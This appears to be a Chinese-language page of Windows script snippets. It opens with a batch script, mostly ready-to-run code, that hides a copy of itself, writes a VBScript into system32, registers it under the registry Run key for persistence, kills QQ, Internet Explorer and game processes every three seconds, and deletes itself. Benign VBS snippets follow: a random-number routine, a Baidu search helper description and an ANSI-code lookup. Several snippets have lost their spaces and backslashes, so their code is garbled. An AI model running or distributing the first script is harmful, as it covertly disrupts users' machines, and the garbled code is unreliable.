运行后会在%windir%system32目录下生成jk.vbs，
并且自动添加注册表启动项，另外在D:会生成一个隐藏属性的JK.VBS，
3秒间隔监控进程，如果进程中有QQ.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。

@echo off 
attrib -s -h -a -r d:jk.bat 1>nul 2>nul 
if exist d:jk.bat del d:jk.bat /q 
copy %0 d:jk.bat /y >nul 
attrib +s +h +a +r d:jk.bat 
if exist %windir%system32jk.vbs del %windir%system32jk.vbs 
echo y|reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v DATA /t REG_SZ /d c:windowssystem32jk.vbs >nul 
echo Do>>%windir%system32jk.vbs 
echo WScript.Sleep 3000>>%windir%system32jk.vbs 
echo strComputer = "." >>%windir%system32jk.vbs 
echo Set objWMIService = GetObject("winmgmts:\" ^& strComputer ^& "rootCIMV2") >>%windir%system32jk.vbs 
echo Set colItems = objWMIService.ExecQuery( _>>%windir%system32jk.vbs 
echo "SELECT * FROM Win32_Process",,48)>>%windir%system32jk.vbs 
echo For Each objItem in colItems >>%windir%system32jk.vbs 
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%system32jk.vbs 
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%system32jk.vbs 
echo Then objitem.Terminate()>>%windir%system32jk.vbs 
echo Next>>%windir%system32jk.vbs 
echo loop>>%windir%system32jk.vbs 
start %windir%system32jk.vbs 
del %0 /q 

VBS 生成不重复随机数代码[0-10]
dimZ(10),ifori=0to10Z(I)=GetRnd(i-1)WScript.Echo(Z(i))NEXTFunctionGetRnd(n)Dimi,XRandomizeX=CInt(10*Rnd())Fori=0TonIfX=Z(i)ThenX=GetRnd(n)ExitForEndIfNextGetRnd=XEndFunction

vbs 百度小助手
运行它直接选择：1.我要回答;2.歌曲搜索;3,新闻搜索;4.网页搜索;5.贴吧搜索;6.知道搜索;7.图片搜索;8.视频搜索;9;百科搜索;然后输入需要搜索的内容即可

字符ANSI代码查询工具vbs版
x=InputBox("请输入字符","提示","Test")IfLen(x)0thenFori=1ToLen(x)WScript.echo"字符["&Mid(x,i,1)&"]ANSI代码为:"&Asc(Mid(x,i,1))NextElseMsgBox"请输入英文字符",64,"提示"Endif